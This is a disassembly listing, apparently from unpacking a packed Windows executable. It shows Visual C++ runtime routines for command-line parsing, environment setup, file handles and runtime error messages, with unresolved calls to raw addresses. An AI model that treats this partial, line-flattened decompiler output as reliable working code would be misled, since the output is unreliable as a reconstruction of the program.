locret_422E71: ; CODE XREF: sub_422E2F+3Ej retn sub_422E2F endp ; --------------------------------------------------------------------------- cmp dword_4DC914, 0 jnz short loc_422E80 call sub_42026D loc_422E80: ; CODE XREF: ___:00422E79j push esi mov esi, dword_4DC90C mov al, [esi] cmp al, 22h jnz short loc_422EB2 loc_422E8D: ; CODE XREF: ___:00422EA5j ; ___:00422EA8j mov al, [esi+1] inc esi cmp al, 22h jz short loc_422EAA test al, al jz short loc_422EAA movzx eax, al push eax call sub_424D36 test eax, eax pop ecx jz short loc_422E8D inc esi jmp short loc_422E8D ; --------------------------------------------------------------------------- loc_422EAA: ; CODE XREF: ___:00422E93j ; ___:00422E97j cmp byte ptr [esi], 22h jnz short loc_422EBC loc_422EAF: ; CODE XREF: ___:00422EC4j inc esi jmp short loc_422EBC ; --------------------------------------------------------------------------- loc_422EB2: ; CODE XREF: ___:00422E8Bj cmp al, 20h jbe short loc_422EBC loc_422EB6: ; CODE XREF: ___:00422EBAj inc esi cmp byte ptr [esi], 20h ja short loc_422EB6 loc_422EBC: ; CODE XREF: ___:00422EADj ; ___:00422EB0j ... mov al, [esi] test al, al jz short loc_422EC6 cmp al, 20h jbe short loc_422EAF loc_422EC6: ; CODE XREF: ___:00422EC0j mov eax, esi pop esi retn ; --------------------------------------------------------------------------- push ebx xor ebx, ebx cmp dword_4DC914, ebx push esi push edi jnz short loc_422EDC call sub_42026D loc_422EDC: ; CODE XREF: ___:00422ED5j mov esi, dword_4DB2E8 xor edi, edi loc_422EE4: ; CODE XREF: ___:00422EFAj mov al, [esi] cmp al, bl jz short loc_422EFC cmp al, 3Dh jz short loc_422EEF inc edi loc_422EEF: ; CODE XREF: ___:00422EECj push esi call sub_41AFE0 pop ecx lea esi, [esi+eax+1] jmp short loc_422EE4 ; --------------------------------------------------------------------------- loc_422EFC: ; CODE XREF: ___:00422EE8j lea eax, ds:4[edi*4] push eax call sub_41B4D5 mov esi, eax pop ecx cmp esi, ebx mov dword_4DB2A0, esi jnz short loc_422F1E push 9 call sub_41DA29 pop ecx loc_422F1E: ; CODE XREF: ___:00422F14j mov edi, dword_4DB2E8 cmp [edi], bl jz short loc_422F61 push ebp loc_422F29: ; CODE XREF: ___:00422F5Ej push edi call sub_41AFE0 mov ebp, eax pop ecx inc ebp cmp byte ptr [edi], 3Dh jz short loc_422F5A push ebp call sub_41B4D5 cmp eax, ebx pop ecx mov [esi], eax jnz short loc_422F4D push 9 call sub_41DA29 pop ecx loc_422F4D: ; CODE XREF: ___:00422F43j push edi push dword ptr [esi] call sub_41BEB0 pop ecx add esi, 4 pop ecx loc_422F5A: ; CODE XREF: ___:00422F36j add edi, ebp cmp [edi], bl jnz short loc_422F29 pop ebp loc_422F61: ; CODE XREF: ___:00422F26j push dword_4DB2E8 call sub_41B0B1 pop ecx mov dword_4DB2E8, ebx mov [esi], ebx pop edi pop esi mov dword_4DC910, 1 pop ebx retn ; --------------------------------------------------------------------------- push ebp mov ebp, esp push ecx push ecx push ebx xor ebx, ebx cmp dword_4DC914, ebx push esi push edi jnz short loc_422F9A call sub_42026D loc_422F9A: ; CODE XREF: ___:00422F93j mov esi, offset aCM_unpackerPac ; "C:\\m_unpacker\\packed.exe" push 104h push esi push ebx call near ptr 2660000h nop mov eax, dword_4DC90C mov off_4DB2B0, esi mov edi, esi cmp [eax], bl jz short loc_422FBF mov edi, eax loc_422FBF: ; CODE XREF: ___:00422FBBj lea eax, [ebp-8] push eax lea eax, [ebp-4] push eax push ebx push ebx push edi call sub_42301C mov eax, [ebp-8] mov ecx, [ebp-4] lea eax, [eax+ecx*4] push eax call sub_41B4D5 mov esi, eax add esp, 18h cmp esi, ebx jnz short loc_422FEF push 8 call sub_41DA29 pop ecx loc_422FEF: ; CODE XREF: ___:00422FE5j lea eax, [ebp-8] push eax lea eax, [ebp-4] push eax mov eax, [ebp-4] lea eax, [esi+eax*4] push eax push esi push edi call sub_42301C mov eax, [ebp-4] add esp, 14h dec eax mov dword_4DB298, esi pop edi pop esi mov dword_4DB294, eax pop ebx leave retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42301C proc near ; CODE XREF: ___:00422FCAp ; ___:00423000p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp mov ecx, [ebp+arg_10] mov eax, [ebp+arg_C] push ebx push esi and dword ptr [ecx], 0 mov esi, [ebp+arg_8] push edi mov edi, [ebp+arg_4] mov dword ptr [eax], 1 mov eax, [ebp+arg_0] test edi, edi jz short loc_423046 mov [edi], esi add edi, 4 mov [ebp+arg_4], edi loc_423046: ; CODE XREF: sub_42301C+20j cmp byte ptr [eax], 22h jnz short loc_42308F loc_42304B: ; CODE XREF: sub_42301C+58j ; sub_42301C+5Fj mov dl, [eax+1] inc eax cmp dl, 22h jz short loc_42307D test dl, dl jz short loc_42307D movzx edx, dl test byte_4DC7E1[edx], 4 jz short loc_423070 inc dword ptr [ecx] test esi, esi jz short loc_423070 mov dl, [eax] mov [esi], dl inc esi inc eax loc_423070: ; CODE XREF: sub_42301C+46j ; sub_42301C+4Cj inc dword ptr [ecx] test esi, esi jz short loc_42304B mov dl, [eax] mov [esi], dl inc esi jmp short loc_42304B ; --------------------------------------------------------------------------- loc_42307D: ; CODE XREF: sub_42301C+36j ; sub_42301C+3Aj inc dword ptr [ecx] test esi, esi jz short loc_423087 and byte ptr [esi], 0 inc esi loc_423087: ; CODE XREF: sub_42301C+65j cmp byte ptr [eax], 22h jnz short loc_4230D2 inc eax jmp short loc_4230D2 ; --------------------------------------------------------------------------- loc_42308F: ; CODE XREF: sub_42301C+2Dj ; sub_42301C+A5j inc dword ptr [ecx] test esi, esi jz short loc_42309A mov dl, [eax] mov [esi], dl inc esi loc_42309A: ; CODE XREF: sub_42301C+77j mov dl, [eax] inc eax movzx ebx, dl test byte_4DC7E1[ebx], 4 jz short loc_4230B5 inc dword ptr [ecx] test esi, esi jz short loc_4230B4 mov bl, [eax] mov [esi], bl inc esi loc_4230B4: ; CODE XREF: sub_42301C+91j inc eax loc_4230B5: ; CODE XREF: sub_42301C+8Bj cmp dl, 20h jz short loc_4230C3 test dl, dl jz short loc_4230C7 cmp dl, 9 jnz short loc_42308F loc_4230C3: ; CODE XREF: sub_42301C+9Cj test dl, dl jnz short loc_4230CA loc_4230C7: ; CODE XREF: sub_42301C+A0j dec eax jmp short loc_4230D2 ; --------------------------------------------------------------------------- loc_4230CA: ; CODE XREF: sub_42301C+A9j test esi, esi jz short loc_4230D2 and byte ptr [esi-1], 0 loc_4230D2: ; CODE XREF: sub_42301C+6Ej ; sub_42301C+71j ... and [ebp+arg_10], 0 loc_4230D6: ; CODE XREF: sub_42301C+19Ej cmp byte ptr [eax], 0 jz loc_4231BF loc_4230DF: ; CODE XREF: sub_42301C+D0j mov dl, [eax] cmp dl, 20h jz short loc_4230EB cmp dl, 9 jnz short loc_4230EE loc_4230EB: ; CODE XREF: sub_42301C+C8j inc eax jmp short loc_4230DF ; --------------------------------------------------------------------------- loc_4230EE: ; CODE XREF: sub_42301C+CDj cmp byte ptr [eax], 0 jz loc_4231BF test edi, edi jz short loc_423103 mov [edi], esi add edi, 4 mov [ebp+arg_4], edi loc_423103: ; CODE XREF: sub_42301C+DDj mov edx, [ebp+arg_C] inc dword ptr [edx] loc_423108: ; CODE XREF: sub_42301C+18Fj mov [ebp+arg_0], 1 xor ebx, ebx loc_423111: ; CODE XREF: sub_42301C+FCj cmp byte ptr [eax], 5Ch jnz short loc_42311A inc eax inc ebx jmp short loc_423111 ; --------------------------------------------------------------------------- loc_42311A: ; CODE XREF: sub_42301C+F8j cmp byte ptr [eax], 22h jnz short loc_42314B test bl, 1 jnz short loc_423149 xor edi, edi cmp [ebp+arg_10], edi jz short loc_423138 cmp byte ptr [eax+1], 22h lea edx, [eax+1] jnz short loc_423138 mov eax, edx jmp short loc_42313B ; --------------------------------------------------------------------------- loc_423138: ; CODE XREF: sub_42301C+10Dj ; sub_42301C+116j mov [ebp+arg_0], edi loc_42313B: ; CODE XREF: sub_42301C+11Aj mov edi, [ebp+arg_4] xor edx, edx cmp [ebp+arg_10], edx setz dl mov [ebp+arg_10], edx loc_423149: ; CODE XREF: sub_42301C+106j shr ebx, 1 loc_42314B: ; CODE XREF: sub_42301C+101j mov edx, ebx dec ebx test edx, edx jz short loc_423160 inc ebx loc_423153: ; CODE XREF: sub_42301C+142j test esi, esi jz short loc_42315B mov byte ptr [esi], 5Ch inc esi loc_42315B: ; CODE XREF: sub_42301C+139j inc dword ptr [ecx] dec ebx jnz short loc_423153 loc_423160: ; CODE XREF: sub_42301C+134j mov dl, [eax] test dl, dl jz short loc_4231B0 cmp [ebp+arg_10], 0 jnz short loc_423176 cmp dl, 20h jz short loc_4231B0 cmp dl, 9 jz short loc_4231B0 loc_423176: ; CODE XREF: sub_42301C+14Ej cmp [ebp+arg_0], 0 jz short loc_4231AA test esi, esi jz short loc_423199 movzx ebx, dl test byte_4DC7E1[ebx], 4 jz short loc_423192 mov [esi], dl inc esi inc eax inc dword ptr [ecx] loc_423192: ; CODE XREF: sub_42301C+16Ej mov dl, [eax] mov [esi], dl inc esi jmp short loc_4231A8 ; --------------------------------------------------------------------------- loc_423199: ; CODE XREF: sub_42301C+162j movzx edx, dl test byte_4DC7E1[edx], 4 jz short loc_4231A8 inc eax inc dword ptr [ecx] loc_4231A8: ; CODE XREF: sub_42301C+17Bj ; sub_42301C+187j inc dword ptr [ecx] loc_4231AA: ; CODE XREF: sub_42301C+15Ej inc eax jmp loc_423108 ; --------------------------------------------------------------------------- loc_4231B0: ; CODE XREF: sub_42301C+148j ; sub_42301C+153j ... test esi, esi jz short loc_4231B8 and byte ptr [esi], 0 inc esi loc_4231B8: ; CODE XREF: sub_42301C+196j inc dword ptr [ecx] jmp loc_4230D6 ; --------------------------------------------------------------------------- loc_4231BF: ; CODE XREF: sub_42301C+BDj ; sub_42301C+D5j test edi, edi jz short loc_4231C6 and dword ptr [edi], 0 loc_4231C6: ; CODE XREF: sub_42301C+1A5j mov eax, [ebp+arg_C] pop edi pop esi pop ebx inc dword ptr [eax] pop ebp retn sub_42301C endp ; --------------------------------------------------------------------------- push ecx push ecx mov eax, dword_4DB458 push ebx push ebp mov ebp, dword_42703C push esi push edi xor ebx, ebx xor esi, esi xor edi, edi cmp eax, ebx jnz short loc_42321E call ebp mov esi, eax cmp esi, ebx jz short loc_4231FF mov dword_4DB458, 1 jmp short loc_423227 ; --------------------------------------------------------------------------- loc_4231FF: ; CODE XREF: ___:004231F1j call near ptr 2620A8Dh nop mov edi, eax cmp edi, ebx jz loc_4232F9 mov dword_4DB458, 2 jmp loc_4232AD ; --------------------------------------------------------------------------- loc_42321E: ; CODE XREF: ___:004231E9j cmp eax, 1 jnz loc_4232A8 loc_423227: ; CODE XREF: ___:004231FDj cmp esi, ebx jnz short loc_423237 call ebp mov esi, eax cmp esi, ebx jz loc_4232F9 loc_423237: ; CODE XREF: ___:00423229j cmp [esi], bx mov eax, esi jz short loc_42324C loc_42323E: ; CODE XREF: ___:00423243j ; ___:0042324Aj inc eax inc eax cmp [eax], bx jnz short loc_42323E inc eax inc eax cmp [eax], bx jnz short loc_42323E loc_42324C: ; CODE XREF: ___:0042323Cj sub eax, esi mov edi, dword_42717C sar eax, 1 push ebx push ebx inc eax push ebx push ebx push eax push esi push ebx push ebx mov [esp+34h], eax call edi mov ebp, eax cmp ebp, ebx jz short loc_42329D push ebp call sub_41B4D5 cmp eax, ebx pop ecx mov [esp+10h], eax jz short loc_42329D push ebx push ebx push ebp push eax push dword ptr [esp+24h] push esi push ebx push ebx call edi test eax, eax jnz short loc_423299 push dword ptr [esp+10h] call sub_41B0B1 pop ecx mov [esp+10h], ebx loc_423299: ; CODE XREF: ___:00423289j mov ebx, [esp+10h] loc_42329D: ; CODE XREF: ___:00423269j ; ___:00423278j push esi nop call near ptr 2620D75h mov eax, ebx jmp short loc_4232FB ; --------------------------------------------------------------------------- loc_4232A8: ; CODE XREF: ___:00423221j cmp eax, 2 jnz short loc_4232F9 loc_4232AD: ; CODE XREF: ___:00423219j cmp edi, ebx jnz short loc_4232BD call near ptr 2620A8Dh nop mov edi, eax cmp edi, ebx jz short loc_4232F9 loc_4232BD: ; CODE XREF: ___:004232AFj cmp [edi], bl mov eax, edi jz short loc_4232CD loc_4232C3: ; CODE XREF: ___:004232C6j ; ___:004232CBj inc eax cmp [eax], bl jnz short loc_4232C3 inc eax cmp [eax], bl jnz short loc_4232C3 loc_4232CD: ; CODE XREF: ___:004232C1j sub eax, edi inc eax mov ebp, eax push ebp call sub_41B4D5 mov esi, eax pop ecx cmp esi, ebx jnz short loc_4232E3 xor esi, esi jmp short loc_4232EE ; --------------------------------------------------------------------------- loc_4232E3: ; CODE XREF: ___:004232DDj push ebp push edi push esi call sub_41C310 add esp, 0Ch loc_4232EE: ; CODE XREF: ___:004232E1j push edi nop call near ptr 2620DB7h mov eax, esi jmp short loc_4232FB ; --------------------------------------------------------------------------- loc_4232F9: ; CODE XREF: ___:00423209j ; ___:00423231j ... xor eax, eax loc_4232FB: ; CODE XREF: ___:004232A6j ; ___:004232F7j pop edi pop esi pop ebp pop ebx pop ecx pop ecx retn ; --------------------------------------------------------------------------- sub esp, 44h push ebx push ebp push esi push edi push 100h call sub_41B4D5 mov esi, eax pop ecx test esi, esi jnz short loc_423322 push 1Bh call sub_41DA29 pop ecx loc_423322: ; CODE XREF: ___:00423318j mov dword_4DC5C0, esi mov dword_4DC6C0, 20h lea eax, [esi+100h] loc_423338: ; CODE XREF: ___:00423354j cmp esi, eax jnb short loc_423356 and byte ptr [esi+4], 0 or dword ptr [esi], 0FFFFFFFFh mov byte ptr [esi+5], 0Ah mov eax, dword_4DC5C0 add esi, 8 add eax, 100h jmp short loc_423338 ; --------------------------------------------------------------------------- loc_423356: ; CODE XREF: ___:0042333Aj lea eax, [esp+10h] push eax call near ptr 2860000h nop cmp word ptr [esp+42h], 0 jz loc_423432 mov eax, [esp+44h] test eax, eax jz loc_423432 mov esi, [eax] lea ebp, [eax+4] mov eax, 800h cmp esi, eax lea ebx, [esi+ebp] jl short loc_42338C mov esi, eax loc_42338C: ; CODE XREF: ___:00423388j cmp dword_4DC6C0, esi jge short loc_4233E6 mov edi, offset dword_4DC5C4 loc_423399: ; CODE XREF: ___:004233DCj push 100h call sub_41B4D5 test eax, eax pop ecx jz short loc_4233E0 add dword_4DC6C0, 20h mov [edi], eax lea ecx, [eax+100h] loc_4233B7: ; CODE XREF: ___:004233D1j cmp eax, ecx jnb short loc_4233D3 and byte ptr [eax+4], 0 or dword ptr [eax], 0FFFFFFFFh mov byte ptr [eax+5], 0Ah mov ecx, [edi] add eax, 8 add ecx, 100h jmp short loc_4233B7 ; --------------------------------------------------------------------------- loc_4233D3: ; CODE XREF: ___:004233B9j add edi, 4 cmp dword_4DC6C0, esi jl short loc_423399 jmp short loc_4233E6 ; --------------------------------------------------------------------------- loc_4233E0: ; CODE XREF: ___:004233A6j mov esi, dword_4DC6C0 loc_4233E6: ; CODE XREF: ___:00423392j ; ___:004233DEj xor edi, edi test esi, esi jle short loc_423432 loc_4233EC: ; CODE XREF: ___:00423430j mov eax, [ebx] cmp eax, 0FFFFFFFFh jz short loc_423429 mov cl, [ebp+0] test cl, 1 jz short loc_423429 test cl, 8 jnz short loc_42340B push eax call near ptr 2620000h nop test eax, eax jz short loc_423429 loc_42340B: ; CODE XREF: ___:004233FEj mov eax, edi mov ecx, edi sar eax, 5 and ecx, 1Fh mov eax, dword_4DC5C0[eax*4] lea eax, [eax+ecx*8] mov ecx, [ebx] mov [eax], ecx mov cl, [ebp+0] mov [eax+4], cl loc_423429: ; CODE XREF: ___:004233F1j ; ___:004233F9j ... inc edi inc ebp add ebx, 4 cmp edi, esi jl short loc_4233EC loc_423432: ; CODE XREF: ___:00423367j ; ___:00423373j ... xor ebx, ebx loc_423434: ; CODE XREF: ___:00423497j mov eax, dword_4DC5C0 cmp dword ptr [eax+ebx*8], 0FFFFFFFFh lea esi, [eax+ebx*8] jnz short loc_42348F test ebx, ebx mov byte ptr [esi+4], 81h jnz short loc_42344F push 0FFFFFFF6h pop eax jmp short loc_423459 ; --------------------------------------------------------------------------- loc_42344F: ; CODE XREF: ___:00423448j mov eax, ebx dec eax neg eax sbb eax, eax add eax, 0FFFFFFF5h loc_423459: ; CODE XREF: ___:0042344Dj push eax nop call near ptr 262082Fh mov edi, eax cmp edi, 0FFFFFFFFh jz short loc_42347E push edi nop call near ptr 2620000h test eax, eax jz short loc_42347E and eax, 0FFh mov [esi], edi cmp eax, 2 jnz short loc_423484 loc_42347E: ; CODE XREF: ___:00423465j ; ___:00423470j or byte ptr [esi+4], 40h jmp short loc_423493 ; --------------------------------------------------------------------------- loc_423484: ; CODE XREF: ___:0042347Cj cmp eax, 3 jnz short loc_423493 or byte ptr [esi+4], 8 jmp short loc_423493 ; --------------------------------------------------------------------------- loc_42348F: ; CODE XREF: ___:00423440j or byte ptr [esi+4], 80h loc_423493: ; CODE XREF: ___:00423482j ; ___:00423487j ... inc ebx cmp ebx, 3 jl short loc_423434 push dword_4DC6C0 nop call near ptr 26209E1h pop edi pop esi pop ebp pop ebx add esp, 44h retn ; --------------------------------------------------------------------------- align 10h push esi inc ebx xor dh, [eax] pop eax inc ebx xor [eax], dh ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4234B8 proc near ; DATA XREF: sub_42205D+Ao ; sub_42218C+Ao ... var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 8 push ebx push esi push edi push ebp cld mov ebx, [ebp+arg_4] mov eax, [ebp+arg_0] test dword ptr [eax+4], 6 jnz loc_423558 mov [ebp+var_8], eax mov eax, [ebp+arg_8] mov [ebp+var_4], eax lea eax, [ebp+var_8] mov [ebx-4], eax mov esi, [ebx+0Ch] mov edi, [ebx+8] loc_4234EB: ; CODE XREF: sub_4234B8+90j cmp esi, 0FFFFFFFFh jz short loc_423551 lea ecx, [esi+esi*2] cmp dword ptr [edi+ecx*4+4], 0 jz short loc_42353F push esi push ebp lea ebp, [ebx+10h] call dword ptr [edi+ecx*4+4] pop ebp pop esi mov ebx, [ebp+arg_4] or eax, eax jz short loc_42353F js short loc_42354A mov edi, [ebx+8] push ebx call sub_41CB74 ; --------------------------------------------------------------------------- add esp, 4 lea ebp, [ebx+10h] push esi push ebx call sub_41CBB6 add esp, 8 lea ecx, [esi+esi*2] push 1 mov eax, [edi+ecx*4+8] call sub_41CC4A mov eax, [edi+ecx*4] mov [ebx+0Ch], eax call dword ptr [edi+ecx*4+8] loc_42353F: ; CODE XREF: sub_4234B8+40j ; sub_4234B8+52j mov edi, [ebx+8] lea ecx, [esi+esi*2] mov esi, [edi+ecx*4] jmp short loc_4234EB ; --------------------------------------------------------------------------- loc_42354A: ; CODE XREF: sub_4234B8+54j mov eax, 0 jmp short loc_42356D ; --------------------------------------------------------------------------- loc_423551: ; CODE XREF: sub_4234B8+36j mov eax, 1 jmp short loc_42356D ; --------------------------------------------------------------------------- loc_423558: ; CODE XREF: sub_4234B8+18j push ebp lea ebp, [ebx+10h] push 0FFFFFFFFh push ebx call sub_41CBB6 add esp, 8 pop ebp mov eax, 1 loc_42356D: ; CODE XREF: sub_4234B8+97j ; sub_4234B8+9Ej pop ebp pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_4234B8 endp ; --------------------------------------------------------------------------- push ebp mov ecx, [esp+8] mov ebp, [ecx] mov eax, [ecx+1Ch] push eax mov eax, [ecx+18h] push eax call sub_41CBB6 add esp, 8 pop ebp retn 4 ; =============== S U B R O U T I N E ======================================= sub_423590 proc near ; CODE XREF: sub_41DA29+9p mov eax, dword_4DB2F0 cmp eax, 1 jz short loc_4235A7 test eax, eax jnz short locret_4235C8 cmp dword_43A2C4, 1 jnz short locret_4235C8 loc_4235A7: ; CODE XREF: sub_423590+8j push 0FCh call sub_4235C9 mov eax, dword_4DB45C pop ecx test eax, eax jz short loc_4235BD call eax loc_4235BD: ; CODE XREF: sub_423590+29j push 0FFh call sub_4235C9 pop ecx locret_4235C8: ; CODE XREF: sub_423590+Cj ; sub_423590+15j retn sub_423590 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4235C9 proc near ; CODE XREF: sub_41DA29+12p ; sub_423590+1Cp ... var_1A4 = byte ptr -1A4h var_A0 = byte ptr -0A0h arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 1A4h mov edx, [ebp+arg_0] xor ecx, ecx mov eax, offset dword_43C958 loc_4235DC: ; CODE XREF: sub_4235C9+20j cmp edx, [eax] jz short loc_4235EB add eax, 8 inc ecx cmp eax, offset off_43C9E8 jl short loc_4235DC loc_4235EB: ; CODE XREF: sub_4235C9+15j push esi mov esi, ecx shl esi, 3 cmp edx, dword_43C958[esi] jnz loc_423719 mov eax, dword_4DB2F0 cmp eax, 1 jz loc_4236F3 test eax, eax jnz short loc_42361C cmp dword_43A2C4, 1 jz loc_4236F3 loc_42361C: ; CODE XREF: sub_4235C9+44j cmp edx, 0FCh jz loc_423719 lea eax, [ebp+var_1A4] push 104h push eax push 0 nop call near ptr 2660000h test eax, eax jnz short loc_423653 lea eax, [ebp+var_1A4] push offset aProgramNameUnk ; "<program name unknown>" push eax call sub_41BEB0 pop ecx pop ecx loc_423653: ; CODE XREF: sub_4235C9+75j lea eax, [ebp+var_1A4] push edi push eax lea edi, [ebp+var_1A4] call sub_41AFE0 inc eax pop ecx cmp eax, 3Ch jbe short loc_423696 lea eax, [ebp+var_1A4] push eax call sub_41AFE0 mov edi, eax lea eax, [ebp+var_1A4] sub eax, 3Bh push 3 add edi, eax push offset a___ ; "..." push edi call sub_41B5F0 add esp, 10h loc_423696: ; CODE XREF: sub_4235C9+A2j lea eax, [ebp+var_A0] push offset aRuntimeErrorPr ; "Runtime Error!\n\nProgram: " push eax call sub_41BEB0 lea eax, [ebp+var_A0] push edi push eax call sub_41BEC0 lea eax, [ebp+var_A0] push offset asc_427C10 ; "\n\n" push eax call sub_41BEC0 push off_43C95C[esi] lea eax, [ebp+var_A0] push eax call sub_41BEC0 push 12010h lea eax, [ebp+var_A0] push offset aMicrosoftVisua ; "Microsoft Visual C++ Runtime Library" push eax call sub_424D78 add esp, 2Ch pop edi jmp short loc_423719 ; --------------------------------------------------------------------------- loc_4236F3: ; CODE XREF: sub_4235C9+3Cj ; sub_4235C9+4Dj lea eax, [ebp+arg_0] lea esi, off_43C95C[esi] push 0 push eax push dword ptr [esi] call sub_41AFE0 pop ecx push eax push dword ptr [esi] push 0FFFFFFF4h call near ptr 262082Fh nop push eax nop call near ptr 26E0000h loc_423719: ; CODE XREF: sub_4235C9+2Ej ; sub_4235C9+59j ... pop esi leave retn sub_4235C9 endp ; =============== S U B R O U T I N E ======================================= sub_42371C proc near ; CODE XREF: sub_423A33:loc_423BABp push ebx push esi push edi or ebx, 0FFFFFFFFh xor edi, edi xor esi, esi mov ecx, offset dword_4DC5C0 loc_42372B: ; CODE XREF: sub_42371C+48j mov eax, [ecx] test eax, eax jz short loc_423768 lea edx, [eax+100h] loc_423737: ; CODE XREF: sub_42371C+28j cmp eax, edx jnb short loc_423757 test byte ptr [eax+4], 1 jz short loc_423746 add eax, 8 jmp short loc_423737 ; --------------------------------------------------------------------------- loc_423746: ; CODE XREF: sub_42371C+23j or dword ptr [eax], 0FFFFFFFFh sub eax, [ecx] sar eax, 3 add eax, esi mov ebx, eax cmp ebx, 0FFFFFFFFh jnz short loc_4237AB loc_423757: ; CODE XREF: sub_42371C+1Dj add ecx, 4 inc edi add esi, 20h cmp ecx, offset dword_4DC6C0 jl short loc_42372B jmp short loc_4237AB ; --------------------------------------------------------------------------- loc_423768: ; CODE XREF: sub_42371C+13j mov esi, 100h push esi call sub_41B4D5 test eax, eax pop ecx jz short loc_4237AB add dword_4DC6C0, 20h lea ecx, ds:4DC5C0h[edi*4] lea edx, [eax+100h] mov [ecx], eax loc_42378E: ; CODE XREF: sub_42371C+88j cmp eax, edx jnb short loc_4237A6 and byte ptr [eax+4], 0 or dword ptr [eax], 0FFFFFFFFh mov byte ptr [eax+5], 0Ah mov edx, [ecx] add eax, 8 add edx, esi jmp short loc_42378E ; --------------------------------------------------------------------------- loc_4237A6: ; CODE XREF: sub_42371C+74j shl edi, 5 mov ebx, edi loc_4237AB: ; CODE XREF: sub_42371C+39j ; sub_42371C+4Aj ... pop edi mov eax, ebx pop esi pop ebx retn sub_42371C endp ; =============== S U B R O U T I N E ======================================= sub_4237B1 proc near ; CODE XREF: sub_423A33+1F4p arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_0] push esi cmp eax, dword_4DC6C0 push edi jnb short loc_423811 mov ecx, eax mov esi, eax sar ecx, 5 and esi, 1Fh lea edi, ds:4DC5C0h[ecx*4] shl esi, 3 mov ecx, [edi] cmp dword ptr [ecx+esi], 0FFFFFFFFh jnz short loc_423811 cmp dword_43A2C4, 1 push ebx mov ebx, [esp+0Ch+arg_4] jnz short loc_423807 sub eax, 0 jz short loc_4237FE dec eax jz short loc_4237F9 dec eax jnz short loc_423807 push ebx push 0FFFFFFF4h jmp short loc_423801 ; --------------------------------------------------------------------------- loc_4237F9: ; CODE XREF: sub_4237B1+3Ej push ebx push 0FFFFFFF5h jmp short loc_423801 ; --------------------------------------------------------------------------- loc_4237FE: ; CODE XREF: sub_4237B1+3Bj push ebx push 0FFFFFFF6h loc_423801: ; CODE XREF: sub_4237B1+46j ; sub_4237B1+4Bj nop call near ptr 26105D5h loc_423807: ; CODE XREF: sub_4237B1+36j ; sub_4237B1+41j mov eax, [edi] mov [eax+esi], ebx xor eax, eax pop ebx jmp short loc_423825 ; --------------------------------------------------------------------------- loc_423811: ; CODE XREF: sub_4237B1+Cj ; sub_4237B1+28j and dword_4DB27C, 0 mov dword_4DB278, 9 or eax, 0FFFFFFFFh loc_423825: ; CODE XREF: sub_4237B1+5Ej pop edi pop esi retn sub_4237B1 endp ; =============== S U B R O U T I N E ======================================= sub_423828 proc near ; CODE XREF: sub_41DA72+7Cp arg_0 = dword ptr 4 mov ecx, [esp+arg_0] push esi cmp ecx, dword_4DC6C0 push edi jnb short loc_42388B mov eax, ecx mov esi, ecx sar eax, 5 and esi, 1Fh lea edi, ds:4DC5C0h[eax*4] shl esi, 3 mov eax, [edi] add eax, esi test byte ptr [eax+4], 1 jz short loc_42388B cmp dword ptr [eax], 0FFFFFFFFh jz short loc_42388B cmp dword_43A2C4, 1 jnz short loc_423881 xor eax, eax sub ecx, eax jz short loc_423878 dec ecx jz short loc_423873 dec ecx jnz short loc_423881 push eax push 0FFFFFFF4h jmp short loc_42387B ; --------------------------------------------------------------------------- loc_423873: ; CODE XREF: sub_423828+41j push eax push 0FFFFFFF5h jmp short loc_42387B ; --------------------------------------------------------------------------- loc_423878: ; CODE XREF: sub_423828+3Ej push eax push 0FFFFFFF6h loc_42387B: ; CODE XREF: sub_423828+49j ; sub_423828+4Ej nop call near ptr 26105D5h loc_423881: ; CODE XREF: sub_423828+38j ; sub_423828+44j mov eax, [edi] or dword ptr [eax+esi], 0FFFFFFFFh xor eax, eax jmp short loc_42389F ; --------------------------------------------------------------------------- loc_42388B: ; CODE XREF: sub_423828+Cj ; sub_423828+2Aj ... and dword_4DB27C, 0 mov dword_4DB278, 9 or eax, 0FFFFFFFFh loc_42389F: ; CODE XREF: sub_423828+61j pop edi pop esi retn sub_423828 endp ; =============== S U B R O U T I N E ======================================= sub_4238A2 proc near ; CODE XREF: sub_41DA72+32p ; sub_41DA72+49p ... arg_0 = dword ptr 4 mov eax, [esp+arg_0] cmp eax, dword_4DC6C0 jnb short loc_4238CA mov ecx, eax and eax, 1Fh sar ecx, 5 mov ecx, dword_4DC5C0[ecx*4] test byte ptr [ecx+eax*8+4], 1 lea eax, [ecx+eax*8] jz short loc_4238CA mov eax, [eax] retn ; --------------------------------------------------------------------------- loc_4238CA: ; CODE XREF: sub_4238A2+Aj ; sub_4238A2+23j and dword_4DB27C, 0 mov dword_4DB278, 9 or eax, 0FFFFFFFFh retn sub_4238A2 endp ; =============== S U B R O U T I N E ======================================= sub_4238DF proc near ; CODE XREF: sub_41DB50+2Bp arg_0 = dword ptr 4 mov eax, [esp+arg_0] cmp eax, dword_4DC6C0 jnb short loc_423928 mov ecx, eax mov edx, eax sar ecx, 5 and edx, 1Fh mov ecx, dword_4DC5C0[ecx*4] test byte ptr [ecx+edx*8+4], 1 jz short loc_423928 push eax call sub_4238A2 pop ecx push eax nop call near ptr 2610000h test eax, eax jnz short loc_42391D call near ptr 2670763h nop jmp short loc_42391F ; --------------------------------------------------------------------------- loc_42391D: ; CODE XREF: sub_4238DF+34j xor eax, eax loc_42391F: ; CODE XREF: sub_4238DF+3Cj test eax, eax jz short locret_423935 mov dword_4DB27C, eax loc_423928: ; CODE XREF: sub_4238DF+Aj ; sub_4238DF+22j mov dword_4DB278, 9 or eax, 0FFFFFFFFh locret_423935: ; CODE XREF: sub_4238DF+42j retn sub_4238DF endp ; =============== S U B R O U T I N E ======================================= sub_423936 proc near ; DATA XREF: ___:00429024o mov eax, dword_4DC5A0 push esi push 14h test eax, eax pop esi jnz short loc_42394A mov eax, 200h jmp short loc_423950 ; --------------------------------------------------------------------------- loc_42394A: ; CODE XREF: sub_423936+Bj cmp eax, esi jge short loc_423955 mov eax, esi loc_423950: ; CODE XREF: sub_423936+12j mov dword_4DC5A0, eax loc_423955: ; CODE XREF: sub_423936+16j push 4 push eax 